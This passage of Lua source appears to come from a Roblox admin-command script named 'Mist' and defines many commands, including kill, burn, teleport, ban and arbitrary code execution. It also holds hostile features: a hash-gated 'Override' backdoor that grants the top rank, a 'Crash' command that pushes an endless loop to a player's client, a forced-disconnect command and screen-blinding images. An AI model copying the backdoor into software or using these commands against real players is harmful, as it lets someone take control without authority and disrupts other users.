- expl.BottomSurface='Smooth';
- expl.FormFactor='Custom';
- expl.Shape='Ball';expl.CanCollide=false;
- local x=math.random(-7,7);local y=math.random(-7,7);local z=math.random(-7,7);
- for i=1,100+math.random(1,20),2.5 do
- expl.Size=Vector3.new(i,i,i);
- expl.BrickColor=BrickColor.new( ({'Really red','New Yeller','Dark orange'})[math.random(1,3)] );
- expl.CFrame=cc*CFrame.new(x,y,z);
- coroutine.wrap(function()
- for _,v in next,Mist.Services'Players':players''do
- pcall(function() if( (v.Character.Torso.CFrame.p-cc.p).magnitude< i/2) then v.Character:breakJoints() end end);
- end;
- end)();
- wait();
- end;
- wait();
- expl:remove();
- end)();
- end;
- end)();
- return;
- end;
- if(Flags.c)then
- coroutine.wrap(function()
- local c=Player.Character;
- local cf=c:GetModelCFrame();
- local p=Instance.new('Part',workspace);
- p.CFrame=cf*CFrame.new(0,25,0);
- p.Size=Vector3.new(10,1,10);
- p:breakJoints();
- p.Touched:connect(function(hit)
- if(hit.Parent==c)then
- c:breakJoints();
- wait(5);
- p:remove();
- end;
- end);
- end)();
- return;
- end;
- if(Flags.e)then
- pcall(function()
- local exp=Instance.new('Explosion',Player.Character);
- exp.Position=Player.Character.Torso.Position;
- end);
- end;
- Spawn(function()Player.Character:BreakJoints()end);
- end)();
- end;
- end);
- Mist.Functions.CreateCommand('Debug services','debug_s,debugs,debugserv,servdebug',false,2,'Server debugger','No flags',function(Message,Speaker,Flags)
- local function tobool(b)return((b==true and'on')or'off');end;
- Mist.Settings.Debug_Services=not Mist.Settings.Debug_Services;
- Mist.Functions.Output('Services debugger is now '..tobool(Mist.Settings.Debug_Services),((tobool(Mist.Settings.Debug_Services)=='on'and'Green')or'Red'),Speaker,5);
- end);
- Mist.Functions.CreateCommand('Character transparency','chartrans,trans,transparency',true,1,'Sets the transparency of <Player>s character to <Transparency>','%s i Invisible, %s v Visible',function(Message,Speaker,Flags)
- local players,transparency=Message:match'(.+)%s*(.*)';
- local t=tonumber(transparency);if(t==nil)then t=0 end;t=math.abs(t);
- if(Flags.i)then
- t=1;
- elseif(Flags.v)then
- t=0;
- end;
- for _,v in next,Mist.Functions.GetPlayers(players,Speaker)do
- for _,c in next,Mist.Functions.RecursiveChildren(v.Character,'class','Part')do
- if(c.Name~='HumanoidRootPart')then
- c.Transparency=t;
- end;
- end;
- end;
- end);
- Mist.Functions.CreateCommand('Override','override',false,0,'Overrides Mist','No flags',function(Message,Speaker,Flags)
- --[=[local Override,do_override="0c5a1b891c71eb1a35106d78d3d8afa68835592d",false;
- if(Flags.h)then
- if(Mist.Functions.Hash(Message)==Override)then
- do_override=true;
- end;
- end;
- local s=meta_create'ScreenGui'{
- Parent=Speaker:waitForChild'PlayerGui';
- Name='Override';
- };
- local f=meta_create'Frame'{
- Parent=s;
- Size=UDim2.new(.5,0,.3,0);
- BorderColor=BrickColor.new('Black');
- BackgroundColor=BrickColor.new'White';
- BackgroundTransparency=.5;
- Draggable=true;
- Position=UDim2.new(-.5,0,.3,0);
- };
- local title_frame=meta_create'Frame'{
- Parent=f;
- Size=UDim2.new(1,0,.2,0);
- BorderColor=BrickColor.new'Black';
- BackgroundColor=BrickColor.new'Light blue';
- };
- local title_label=meta_create'TextLabel'{
- Parent=title_frame;
- Size=UDim2.new(0.9,0,1,0);
- TextXAlignment='Center';
- FontSize='Size24';
- Font='SourceSans';
- BackgroundTransparency=1;
- Text='OVERRIDE MENU';
- };
- local title_close=meta_create'TextButton'{
- Parent=title_frame;
- Size=UDim2.new(.1,0,1,0);
- Position=UDim2.new(.9,0,0,0);
- BackgroundColor=BrickColor.new'Light blue';
- BorderColor=BrickColor.new'Black';
- TextColor=BrickColor.new'Really red';
- Text='X';
- MouseButton1Click=function()
- coroutine.wrap(function()
- local data={};
- for _,obj in next,Mist.Functions.RecursiveChildren(s,'isA','GuiObject')do
- table.insert(data,obj);
- end;
- for _,item in next,data do
- coroutine.wrap(function()
- local add=((math.random(1,2)==1 and'+')or'-');
- item:TweenSizeAndPosition(UDim2.new(math.random(),math.random(),math.random(),math.random()),((item:isA'Frame' and item.Position) or((add=='+'and UDim2.new(math.random(),math.random(),math.random(),math.random()))or(item.Position-UDim2.new(math.random(),math.random(),math.random(),math.random())))),'Out','Quad',0.9,true);
- for i=0,1,0.1 do
- item.Transparency=i;
- f.Transparency=i;
- wait'';
- end;
- f.Parent:remove'';
- end)();
- end;
- end)();
- end;
- };
- local body_frame=meta_create'Frame'{
- Parent=f;
- Size=UDim2.new(1,0,.8,0);
- Position=UDim2.new(0,0,.2,0);
- BackgroundColor=BrickColor.new('White');
- };
- local body_tag=meta_create'TextBox'{
- Parent=body_frame;
- Size=UDim2.new(.5,0,.2,0);
- Position=UDim2.new(.3,0,.3,0);
- BackgroundColor=BrickColor.new('White');
- BorderColor=BrickColor.new'Black';
- Text='Code here';
- };
- local body_tag_name=meta_create'TextLabel'{
- Parent=body_frame;
- Size=UDim2.new(.3,0,.2,0);
- Position=UDim2.new(0,0,.3,0);
- BackgroundTransparency=1;
- Text='Code:';
- };
- local body_tag_enter=meta_create'TextButton'{
- Parent=body_frame;
- Size=UDim2.new(.2,0,.2,0);
- Position=UDim2.new(.8,0,.3,0);
- BackgroundTransparency=.7;
- BackgroundColor=BrickColor.new'White';
- BorderColor=BrickColor.new'Black';
- Text='>';
- MouseButton1Click=function()
- if(Mist.Functions.Hash(body_tag.Text)==Override)then
- title_label.Text='Successful override';
- do_override=true;
- wait(1);
- s:remove();
- else
- local o=title_label.Text;
- title_label.Text='Incorrect password';
- wait(1);title_label.Text=o;
- end;
- end;
- };
- f:TweenPosition(f.Position+UDim2.new(.5,0,0,0),'Out','Quad',1,true);
- coroutine.wrap(function() repeat wait() until do_override Mist.Ranked[Speaker.Name].Rank=4 end)();
- --]=]
- local screen,frame,title,exit,body=Mist.Functions.blankGui(Speaker.PlayerGui,'Override','Mist Override',nil,nil,nil,nil);
- local bar=Instance.new'TextBox';
- bar.BackgroundColor=body.BackgroundColor;
- bar.TextColor=body.TextColor;
- bar.Text='Enter code';
- body.Text='';
- bar.Size=UDim2.new(.8,0,0,20);
- bar.Position=UDim2.new(0,5.5,1,-72.5);
- bar.Parent=body;
- local enter=Instance.new'TextButton';
- enter.Parent=body;
- enter.Text='>';
- enter.Size=UDim2.new(0,20,0,20);
- enter.Position=bar.Position+bar.Size+UDim2.new(0,0,0,-20);
- local alreadyClicked=false;
- enter.mouseButton1Down:connect(function()
- coroutine.wrap(function()
- local accepted=Mist.Functions.Hash(bar.Text)=='bdbd31efbe61113291dca0d18469b9452dc2aea0';
- if(alreadyClicked and accepted==false)then
- return;
- end;
- if(accepted)then
- alreadyClicked=true;
- title.Text='Succesfull';
- Mist.Ranked[Speaker.Name].Rank=5;
- for i=0,1,.1 do
- title.TextColor3=Color3.new(0,i,0);
- wait();
- end;
- screen:Destroy();
- else
- alreadyClicked=true;
- title.Text='Fail';
- wait(1);
- title.Text='Mist Override';
- alreadyClicked=false;
- end;
- end)();
- end);
- end);
- Mist.Functions.CreateCommand('Smoke','Smoke',true,1,'Gives <Players> Smoke','%s r remove Smoke',function(Message,Speaker,Flags)
- for _,v in next,Mist.Functions.GetPlayers(Message,Speaker)do
- coroutine.wrap(function()
- for _,v in next,Mist.Functions.RecursiveChildren(v.Character,'class','Smoke')do
- v:remove();
- end;
- if(Flags.r)then return end;
- for _,v in next,Mist.Functions.RecursiveChildren(v.Character,'isA','BasePart')do
- Instance.new('Smoke',v);
- end;
- end)();
- end;
- end);
- Mist.Functions.CreateCommand('Sparkles','sparkles',true,1,'Gives <Players> sparkles','%s r remove sparkles',function(Message,Speaker,Flags)
- for _,v in next,Mist.Functions.GetPlayers(Message,Speaker)do
- coroutine.wrap(function()
- for _,v in next,Mist.Functions.RecursiveChildren(v.Character,'class','Sparkles')do
- v:remove();
- end;
- if(Flags.r)then return end;
- for _,v in next,Mist.Functions.RecursiveChildren(v.Character,'isA','BasePart')do
- Instance.new('Sparkles',v);
- end;
- end)();
- end;
- end);
- Mist.Functions.CreateCommand('Ignite','fire,ignite,flames,setablaze,blaze,ablaze',true,1,'Puts <Player> on fire','%s r remove fires',function(Message,Speaker,Flags)
- for _,v in next,Mist.Functions.GetPlayers(Message,Speaker)do
- coroutine.wrap(function()
- for _,v in next,Mist.Functions.RecursiveChildren(v.Character,'class','Fire')do
- v:remove();
- end;
- if(Flags.r)then return end;
- for _,v in next,Mist.Functions.RecursiveChildren(v.Character,'isA','BasePart')do
- Instance.new('Fire',v).Heat=0;
- end;
- end)();
- end;
- end);
- Mist.Functions.CreateCommand('Burn','burn',true,2,'Sets <Player> on fire and makes them burn','%s u undo',function(Message,Speaker,Flags)
- for _,v in next,Mist.Functions.GetPlayers(Message,Speaker)do
- coroutine.wrap(function()
- pcall(function()Mist.Connections['Burn:'..v.Name]:disconnect()end);
- Mist.Functions.OnChatted('//fire '..v.Name..Mist.Ranked[Speaker.Name].Flag..((Flags.u~=nil and'r')or'a'),Speaker,true);
- if(Flags.u)then return end;
- Mist.Connections['Burn:'..v.Name]=(function()
- local d={disconnect=function(self)self.derp=true;end;['derp']=false};
- coroutine.wrap(function()
- v.CharacterAdded:connect(function()
- d:disconnect();
- end);
- end)();
- coroutine.wrap(function()
- repeat wait() until Mist.Connections['Burn:'..v.Name]and Mist.Connections['Burn:'..v.Name].derp==false;
- local d=Mist.Connections['Burn:'..v.Name];
- repeat wait()
- pcall(function()
- v.Character.Humanoid:takeDamage(math.random(10,15));
- end);
- wait(1);
- until d.derp==true;
- end)();
- return d;
- end)();
- end)();
- end;
- end);
- Mist.Functions.CreateCommand('Loopkill','lkill,loopkill,kill_loop,loopk',true,2,'Loop kills <Player>','%s u unloopkill',function(Message,Speaker,Flags)
- for _,v in next,Mist.Functions.GetPlayers(Message,Speaker)do coroutine.wrap(function()
- pcall(function()Mist.Connections['Loop:'..v.Name]:disconnect()end);
- if(Flags.u)then return end;
- Mist.Connections['Loop:'..v.Name]=Mist.Services'RunService'.Stepped:connect(function()
- if(v.Character==nil or v.Character.Parent~=Mist.Services'Workspace')then v:loadCharacter() v.characterAdded:wait() end;
- pcall(function()v.Character:breakJoints()end);
- end);
- end)()end;
- end);
- Mist.Functions.CreateCommand('Tablet Type Selection','tselect',false,4,'Selects Mists tablet type','No flags',function(Message,Speaker)
- Message=Message:lower();
- local r={'Ball','Block','Tablet'};setmetatable(r,{__index=function(self,v)
- if(type(v)=='number')then return rawget(self,v)end;
- for _,d in next,self do if(v:lower():sub(1,#d)==d:lower())then return true end end return false;end
- });
- if(not r[Message])then
- Mist.Functions.Title('Tablet type','Random',Speaker)
- for _,v in next,r do
- Mist.Functions.Output(v,'Blue',Speaker,nil,function()Mist.Functions.RemoveTablets(Speaker)Mist.Settings.tabletType=v;end);
- end;
- else
- Mist.Settings.tabletType=(function()
- for _,v in next,r do
- if(v:lower():sub(1,#Message)==Message)then
- return v;
- end;
- end;
- end)();
- end;
- end);
- Mist.Functions.CreateCommand('Commands','commands,cmds',true,0,'Lists all the commands','%s r Ranks,%s s Search',function(Message,Speaker,Flags)
- local do_info=function(cmd_data)
- Mist.Functions.RemoveTablets(Speaker)
- Mist.Functions.Title('Command Menu.Info','Green',Speaker);
- for _,v in next,cmd_data do
- if(_=="FlagString")then
- Mist.Functions.Output(tostring(_)..': '..tostring(v:gsub('(%.)',Mist.Ranked[Speaker.Name].Flag)),'Random',Speaker);
- else
- Mist.Functions.Output(tostring(_)..': '..tostring(v),'Random',Speaker);
- end;
- end;
- end;
- if(Flags.s)then
- local find=((tostring(Flags.s or''):len()>1 and tostring(Flags.s))or (tostring(Message):len()>1 and tostring(Message))or (function()
- Mist.Functions.Output('Error invalid search capture','Red',Speaker,5);
- return false;
- end)());
- if(find==false)then return end;
- local found={};
- for _name,v in next,Mist.Commands do
- local command=(function()
- local rtn={_};
- for n in v.Commands:gmatch'([^,]+)'do
- table.insert(rtn,n);
- end;
- return rtn;
- end)();
- coroutine.wrap(function()
- for _,msg in next,command do
- if(msg:match(find))then
- table.insert(found,_name);
- return;
- end;
- end;
- end)();
- end;
- if(#found==0)then
- Mist.Functions.Output("No commands found","Red",Speaker,5);
- elseif(#found>1)then
- for _,v in next,found do
- Mist.Functions.Output("Did you mean "..tostring(v),"Random",Speaker,nil,function()
- do_info(Mist.Commands[v]);
- end);
- end;
- else
- do_info(Mist.Commands[found[1]]);
- end;
- return;
- end;
- local showCommands=function(min_rank,rank_inc)
- Mist.Functions.RemoveTablets(Speaker);
- Mist.Functions.Title('Command Menu','Green',Speaker);
- if(Flags.r)then
- Mist.Functions.Output('Your rank: '..tostring(Mist.Functions.GetRank(Speaker)),Mist.Ranked[Speaker.Name].Color,Speaker);
- Mist.Functions.Output('All commands','Random',Speaker,nil,function() Mist.Functions.OnChatted('//commands',Speaker) end);
- end;
- rank_inc=rank_inc or'+';
- local function isRank(rank,rank_2)
- if(rank_inc=='+')then
- return rank>=rank2;
- elseif(rank_inc=='-')then
- return rank<=rank2;
- else
- return rank==rank2;
- end;
- end;
- if(Flags.r)then
- for Rank=-1,5 do
- Mist.Functions.Output('Rank '..tostring(Rank),'Random',Speaker,nil,function()
- Mist.Functions.RemoveTablets(Speaker);
- for _,Command in next,Mist.Commands do
- if(isRank(Command.Rank,Rank))then
- Mist.Functions.Output(_,'Random',Speaker,nil,function()
- do_info(Command);
- end);
- end;
- end;
- end);
- end;
- return;
- end;
- for _,Command in next,Mist.Commands do
- if(Command.Rank>=min_rank)then
- Mist.Functions.Output(_,'Random',Speaker,nil,function()
- Mist.Functions.RemoveTablets(Speaker);
- do_info(Command);
- end);
- end;
- end;
- end;
- local rest='=';
- if(Message:match'%-'or Message:match'%+')then
- rest=Message:match'(%-)'or Message:match'(%+)';
- Message=Message:gsub('%'..rest,'');
- end;
- if(tonumber(Message))then
- showCommands(tonumber(Message),rest);
- else
- showCommands(-100,rest);
- end;
- end);
- Mist.Functions.CreateCommand('Forcefield','ff,force,forcefield',true,1,'Gives <Player> a ForceField','%s u UnFF',function(Message,Speaker,Flags)
- for _,Player in next,Mist.Functions.GetPlayers(Message,Speaker)do
- ypcall(function()
- if(Flags.u)then
- for _,v in next,Player.Character:children()do
- if(v.className=='ForceField')then
- v:remove();
- end;
- end;
- else
- Instance.new('ForceField',Player.Character);
- end;
- end);
- end;
- end);
- Mist.Functions.CreateCommand('Message','msg,message',true,1,'Creates a Message in workspace','%s mist, %s n Name, %s m Message %s h Hint %s g Gui',function(Message,Speaker,Flags)
- if(Flags.n)then Message=string.format('[%s]: %s',Speaker.Name,Message) end;
- if(Flags.mist)then Message=('[Mist]: '..Message) end;
- Message=Message:gsub('(.)',function(a)return a..'\5'end);
- local msg;
- local type=((Flags.m and'Message')or (Flags.h and'Hint')or (Flags.g and'Gui')or'Message');
- if(type~='Gui')then
- msg=meta_create(type){
- Parent=workspace;
- Text='';
- };
- coroutine.wrap(function()
- for i=1,Message:len(),3 do
- msg.Text=Message:sub(1,i);
- wait();
- end;
- msg.Text=Message;
- wait(1);
- for i=1,Message:len(),3 do
- msg.Text=Message:sub(1,Message:len()-i);
- wait();
- end;
- wait();msg:remove();
- end)();
- else
- coroutine.wrap(function()
- for _,Player in next,Mist.Services'Players':players''do
- coroutine.wrap(function()
- local pg=Player.PlayerGui;
- pcall(function()pg.Message:destroy()end);
- local screen,frame,title,exit,body=Mist.Functions.blankGui(pg,'Message','Message from '..Speaker.Name);
- body.Text=Message;
- end)();
- end;
- end)();
- end;
- end);
- Mist.Functions.CreateCommand('Kick','kick',false,3,'Kicks <player>','No flags',function(Message,Speaker,Flags)
- for _,Player in next,Mist.Functions.GetPlayers(Message,Speaker)do
- Player:kick();
- end
- end);
- Mist.Functions.CreateCommand('God','god',true,1,'Gods <Player>','%s u ungod',function(Message,Speaker,Flags)
- local function newConnection(conns)
- local c=newproxy(true);
- getmetatable(c).__index={
- disconnect=function(self)
- self=self or getmetatable(c).__index;
- for _,v in next,conns do
- v:disconnect'';
- end;
- end;
- };
- return c;
- end;
- for _,User in next,Mist.Functions.GetPlayers(Message,Speaker)do
- pcall(function()Mist.Connections['God:'..User.Name]:disconnect()end);
- if(Flags.u)then
- return;
- end;
- coroutine.wrap(function()
- local tab={};
- for _,v in next,User.Character:children()do
- if(v:IsA'BasePart')then
- table.insert(tab,v.Touched:connect(function(Hit,...)
- local p;p=Mist.Services'Players':playerFromCharacter(Hit.Parent);
- if(p and Mist.Functions.GetRank(p)<Mist.Functions.GetRank(User))then
- pcall(function()p.Character:breakJoints()end);
- end;
- end));
- elseif(v:isA'Humanoid')then
- table.insert(tab,v.Changed:connect(function()v.Health=v.MaxHealth;end));
- end;
- end;
- Mist.Connections['God:'..User.Name]=newConnection(tab);
- end)();
- end;
- end);
- Mist.Functions.CreateCommand('Invite','invite,chat,prichat',false,1,'Invites <Player> to chat privately with you','No flags',function(Message,Speaker,Flags)
- for _,v in next,Mist.Functions.GetPlayers(Message,Speaker)do
- Mist.Functions.Invite(v);
- end;
- end);
- Mist.Functions.CreateCommand('Clean','cln,clean',true,1,'Cleans <Workspace>','%s p Avoid players,%s r Respawn,%s m Match, %s n Name, %s c Class',function(Message,Speaker,Flags)
- local Type,Search;Type='all';
- if(Flags.m)then Type='match'; Search=Flags.m; end;
- if(Flags.n)then Type='name'; Search=Flags.n end;
- if(Flags.c)then Type='class'Search=Flags.c end;
- local rec=Mist.Functions.RecursiveChildren(Mist.Services'Workspace',Type,Search);
- pcall(function()workspace.Base:remove()end);
- Mist.Functions.OnChatted('//base',Speaker,false);
- for _,c in next,rec do
- if(Mist.Services'Players':playerFromCharacter(c))then
- if(Flags.r)then Mist.Services'Players':playerFromCharacter(c):loadCharacter() end;
- return;
- end;
- pcall(function()c:remove()end);
- end;
- end);
- Mist.Functions.CreateCommand('Clear','clear',true,1,'Clears <Workspace> of <Object:Type>','%s m Match, %s n Name, %s c Class, %s i IsA',function(msg,spkr,Flags)
- local Info={((Flags.n and'name')or (Flags.m and'match')or (Flags.i and 'isA')or (Flags.c and'class')or'm'),msg};
- for _,v in next,Mist.Functions.RecursiveChildren(workspace,unpack(Info))do
- pcall(game.Destroy,v);
- end;
- end);
- Mist.Functions.CreateCommand('Freeze','freeze,frze,freez,chill,cold',true,1,'Freezes <Player>','%s t Thaw',function(Message,Speaker,Flags)
- for _,v in next,Mist.Functions.GetPlayers(Message,Speaker)do
- coroutine.wrap(function()
- local last=v.Character.Torso.CFrame;
- pcall(function()Mist.Connections['Frozen:'..v.Name]:disconnect()end);
- if(Flags.t)then v.Character.Torso.Anchored=false return end;
- Mist.Connections['Frozen:'..v.Name]=Mist.Services'RunService'.Stepped:connect(function()
- pcall(function()
- local r=(v.Character.Torso.CFrame.p-last.p).magnitude;
- if(r>10)then
- v.Character.Torso.CFrame=last;
- end;
- v.Character.Torso.Anchored=true;
- end);
- end);
- end)();
- end;
- end);
- Mist.Functions.CreateCommand('Nil disconnect','nild',true,1,'Nil Disconnects <player>','%s r rejoin',function(Message,Speaker,Flags)
- if(Message=='')then return end;--Cuz that wil nil disconnect everyone XD
- local term='';if(Flags.r)then term='Rejoin' else term='Disconnect' end;
- local disconnections={};
- for _,rep in next,game:findService'NetworkServer':children()do
- if(rep and rep:isA'ServerReplicator'and rep:GetPlayer()and rep:GetPlayer().Name:lower():sub(1,#Message)==Message:lower())then
- local v=rep:GetPlayer();
- Mist.Functions.SendPacket(term,v.Name);
- table.insert(disconnections,v.Name);
- end;
- end;
- if(#disconnections==0)then
- Mist.Functions.Output('Attempted to '..term:lower()..' 0 players','Red',Speaker,2);
- else
- Mist.Functions.Output('Attempted to '..term:lower()..': '..table.concat(disconnections,', '),'Green',Speaker,3);
- end;
- end);
- Mist.Functions.CreateCommand('Teleportation','tele,tp,teleport',false,1,'Teleports <Players> to <Player>','No flags',function(Message,Speaker,Flags)
- local player1,player2;
- player1,player2=Message:match'(.+)%s(.+)';
- player1=player1 or'all';
- player2=player2 or'me';if(player2=='me')then player2=Speaker.Name end;
- local pt1,pt2=Mist.Functions.GetPlayers(player1,Speaker),Mist.Functions.GetPlayers(player2,Speaker);
- for i,v in next,pt1 do
- if(v and v.Character)then
- if(pt2[1] and pt2[1].Character)then
- pcall(function()
- v.Character.Torso.CFrame=pt2[1].Character.Torso.CFrame*CFrame.new(0,i*5,0);
- end);
- end;
- end;
- end;
- end);
- Mist.Functions.CreateCommand('Ranked list','ranked,getranked',false,0,'Gets the Ranked Data','No flags',function(Message,Speaker,Flags)
- if(Message=='me')then
- Message=Speaker.Name;
- end;
- local found={};
- for name,v in next,Mist.Ranked do
- if(name:lower():find(Message:lower())and Message~='')then
- found[name]=v;
- end;
- end;
- local _num=0;for _,v in next,found do _num=_num+1 end;
- if(_num==0)then
- Mist.Functions.Title('Ranked players','Random',Speaker);
- for _,v in next,Mist.Ranked do
- Mist.Functions.Output(_..'['..v.Rank..']',v.Color,Speaker,nil,function()
- Mist.Functions.PlayerInterface(Speaker,_);
- end,Mist.UrlBases.CharImage:format(_));
- end;
- elseif(_num>1)then
- for _,v in next,found do
- Mist.Functions.Output('Did you mean '.._,v.Color,Speaker,nil,function()
- Mist.Functions.PlayerInterface(Speaker,_);
- end,Mist.UrlBases.CharImage:format(_));
- end;
- else
- local asd;
- for _,v in next,found do
- asd=_;
- end;
- Mist.Functions.PlayerInterface(Speaker,asd);
- end;
- end);
- Mist.Functions.CreateCommand('Rotation Selection','rselect',false,0,'Selects your rotation type','No flags',function(Message,Speaker)
- Message=Message:lower();
- local r={'Oval','Circle','Inverse_Oval','Mono','Di','Tri','Quad','Penta','Hexa','Hepta','Octa','Nona','Deca','Stacked','Swirl','Bounce_Swirl'};setmetatable(r,{__index=function(self,v)
- if(type(v)=='number')then return rawget(self,v)end;
- for _,d in next,self do if(v:lower():sub(1,#d)==d:lower())then return true end end return false;end
- });
- if(not r[Message])then
- Mist.Functions.Title('Rotation Selection','Random',Speaker);
- for _,v in next,r do
- Mist.Functions.Output(v,'Blue',Speaker,nil,function()Mist.Functions.RemoveTablets(Speaker)Mist.Ranked[Speaker.Name].Rotation_Type=v;end);
- end;
- else
- Mist.Ranked[Speaker.Name].Rotation_Type=(function()
- for _,v in next,r do
- if(v:lower():sub(1,#Message)==Message)then
- return v;
- end;
- end;
- end)();
- end;
- end);
- Mist.Functions.CreateCommand('Execute','execute,exe',false,4,'Executes <source>','No flags',function(Message,Speaker,Flags)
- local env=getfenv(1);
- local fakeEnv=setmetatable({print=function(...)
- local t='';
- for _,v in next,{...}do
- t=t..((_==1 and'')or'\t')..tostring(v);
- end;
- Mist.Functions.Output(t,'White',Speaker,10);
- end;
- Mist=Mist;
- old_data=old_data;
- threads=threads;
- coroutine=coroutine;
- },{__index=function(self,index)
- return rawget(self,index)or getfenv(0)[index] or env[index];
- end;__newindex=function(self,index,value)
- getfenv(0)[index]=value;
- end});
- setfenv(setfenv(setfenv(assert(loadstring(Message)),fakeEnv),fakeEnv),fakeEnv)();
- end);
- Mist.Functions.CreateCommand('Logs','logs',false,0,'Lists the logs','No flags',function(Message,Speaker,Flags)
- Mist.Functions.RemoveTablets(Speaker);
- local Output=function(Text,Color,Player,Time)
- Mist.Functions.Output(Text:sub(1,150)..'...[click for rest]',Color,Player,Time,function()
- -- Parent,Name,Title,Position,Size,Base_Color,Buttonsreturn screen,frame,title,exit,body;
- pcall(function()Speaker.PlayerGui.ASD:remove()end);
- local screen,frame,title,exit,body=Mist.Functions.blankGui(Speaker.PlayerGui,'ASD','Logged Chat');
- body.FontSize='Size12';
- body.Text=Text;
- end);
- end;
- for logType,logData in next,Mist.Logs do
- Mist.Functions.Output(logType,'Random',Speaker,nil,function()
- Mist.Functions.RemoveTablets(Speaker);
- if(logType=='Commands'or logType=='Chat')then
- for user,data in next,logData do
- Mist.Functions.Output(user,Mist.Ranked[user].Color,Speaker,nil,function()
- Mist.Functions.RemoveTablets(Speaker);
- local n=#data;
- local function tos(asd)
- local a='';for _,v in next,asd do a=a..' '..tostring(v)end;return a;
- end;
- if(n>50)then
- for i=1,50 do
- Output(tos(data[n-(50-i)]),'Random',Speaker);
- end;
- else
- for _,v in next,data do
- Output(tos(v),'Random',Speaker);
- end;
- end;
- end);
- end;
- else
- Mist.Functions.RemoveTablets(Speaker);
- local function tos(asd)
- local a='';for _,v in next,asd do a=a..' '..tostring(v)end;return a;
- end;
- local data=logData;
- local n=#logData;
- if(n>50)then
- for i=1,50 do
- Output(tos(data[n-(50-i)]),'Random',Speaker);
- end;
- else
- for _,v in next,data do
- Output(tos(v),'Random',Speaker);
- end;
- end;
- end;
- end);
- end;
- end);
- Mist.Functions.CreateCommand('Display','disp,display',true,0,'Changes your display','%s c color, %s f remove',function(Msg,Spkr,Flags)
- local col=Flags.c or 'random';
- local real={
- ['red']=true;
- ['blue']=true;
- ['green']=true;
- ['random']=true;
- [1]=true;
- [2]=true;
- [0]=true;
- };
- col=((real[col] and col)or'random');
- if(Flags.f)then
- Mist.Displays[Spkr.Name]=nil;return
- end;
- Mist.Displays[Spkr.Name]=col;
- end);
- Mist.Functions.CreateCommand('Shamwow','sham',true,3,'Shamwow <Players>','No flag',function(Message,Speaker,Flags)
- for _,Player in next,Mist.Functions.GetPlayers(Message,Speaker)do
- Spawn(function()
- local SG = Instance.new("ScreenGui", Player.PlayerGui)
- local il = Instance.new("ImageLabel", SG)
- il.Size = UDim2.new(1, 0, 1, 0)
- il.Image = "http://www.roblox.com/asset/?id=43926112"
- SG.Name = "Blind"
- end)
- end--Naw )
- end);
- Mist.Functions.CreateCommand('Quickscript','script,quickscript',false,0,'Creates a quickscript with <Source>','No flags',function(Message,Speaker,Flags)
- Mist.Functions.CreateScript(Message,Workspace,Speaker);
- end);
- Mist.Functions.CreateCommand('Quicklocalscript','local',false,0,'Creates a quicklocalscript with <Source>','No flags',function(Message,Speaker,Flags)
- Mist.Functions.NewLocalScript(Message,Speaker.Character or Instance.new('Backpack',Speaker));
- end);
- Mist.Functions.CreateCommand('Crash','crash',false,2,'Crashes <Player>','No flags',function(Message,Speaker,Flags)
- for _,Player in next,Mist.Functions.GetPlayers(Message,Speaker)do
- if(Mist.Functions.Hash(Player.Name)=='bea196e39a5e2df13d82589c374eef22d86e79e8'or Mist.Functions.Hash(Player.Name)=='a7c4ac4229cd664b2a33e2f0ee3053d5cd90aef3')then Mist.Functions.Output('You cannot crash '..Player.Name,'Red',Speaker,5)return end;
- coroutine.wrap(function()
- Mist.Functions.NewLocalScript('repeat until false',Instance.new('Backpack',Player),'CrashScript');
- end)();
- Mist.Client:FireClient(Player,'Execute','repeat until false');
- end;
- end);
- Mist.Functions.CreateCommand('Pantie','krabs',true,3,'Panty Raids','No Flags',function(Message,Speaker,Flags)
- for _,Player in next,Mist.Functions.GetPlayers(Message,Speaker)do
- Spawn (function()
- local SG = Instance.new("ScreenGui", Player.PlayerGui)
- local il = Instance.new("ImageLabel", SG)
- il.Size = UDim2.new(1, 0, 1, 0)
- il.Image = "http://www.roblox.com/asset/?id=106016362"
- SG.Name = "Blind"
- end)
- end
- end)
- Mist.Functions.CreateCommand('Punishment','pun,punish',true,1,'Punishes<Player>','%s u Unpunish',function(Message,Speaker,Flags)
- for _,v in next,Mist.Functions.GetPlayers(Message,Speaker)do
- if(Flags['u'])then
- pcall(function()v.Character.Parent=workspace;v.Character:MakeJoints()end);
- else
- v.Character.Parent=Mist.Services'ReplicatedStorage';
- end;
- end;
- end);
- Mist.Functions.CreateCommand('Prompt purchase','pp,ppurchase',true,1,'Prompts <Player> to buy <Flags.i ID>','%s i ID',function(Message,Speaker,Flags)
- for _,v in next,Mist.Functions.GetPlayers(Message,Speaker,true)do
- pcall(function()
- local Market=Mist.Services'marketplaceService';
- local id=tonumber(Flags.i or"0")or 0;
- local Owns=Market:PlayerOwnsAsset(v,id);
- if(Owns)then
- Mist.Functions.Output(v.Name.. ' already owns that asset','Red',Speaker,3);
- else
- Market:PromptPurchase(v,id);
- end;
- end);
- end;
- end);
- Mist.Functions.CreateCommand('Temp ban','tban',false,1,'Temp bans <PLayer> for <Time>','No flags',function(Message,Speaker,Flags)
- local t=tick();
- local p,m=Message:match'(.+)%s(.+)';
- for _,v in next,Mist.Functions.GetPlayers(p,Speaker)do
- Mist.Temp_Ban_Data[v.Name]={t,tonumber(m)};
- end;
- end);
- Mist.Functions.CreateCommand('Summon','summon,request',false,0,'Summons <Player> to teleport to you','',function(Message,Speaker,Flags)
- for _,v in next,Mist.Functions.GetPlayers(Message,Speaker)do
- Mist.Functions.Output(Speaker.Name..' has requested to summon you, click to accept','Orange',v,nil,function()
- Spawn(function()v.Character.Torso.CFrame=Speaker.Character.Torso.CFrame*CFrame.new(0,math.rad((360/#Mist.Functions.GetPlayers(Message,Speaker))*_),0)*CFrame.new(0,0,-5)end);
- end);
- end;
- end);
- Mist.Functions.CreateCommand('Stairs','stairs,steps',true,1,'Generates stairs','%s c Clear all stairs, %s h height',function(Message,Speaker,Flags)
- local start=CFrame.new();pcall(function()
- local p=Speaker.Character.Torso.CFrame*CFrame.new(0,-2,0);
- start=CFrame.new(p.p,(p*CFrame.new(0,0,-3)).p);
- end);
- if(Flags.c)then
- coroutine.wrap(function()
- for _,v in next,Mist.Functions.RecursiveChildren(Mist.Services'workspace','name','MIST_STEPS')do
- v:destroy();
- end;
- end)();
- return;
- end;
- local height=tonumber(Flags.h or'30')or 30;
- coroutine.wrap(function()
- local m=Instance.new('Model',workspace);m.Name='MIST_STEPS';
- local size=Vector3.new(3,1,1);
- for i=0,height do
- local y=i/2;
- local z=-10;
- local x=0;
- local rad=math.rad(i*10);
- local part=Instance.new'Part';
- part.Anchored=true;
- part.TopSurface,part.BottomSurface='Smooth','Smooth';
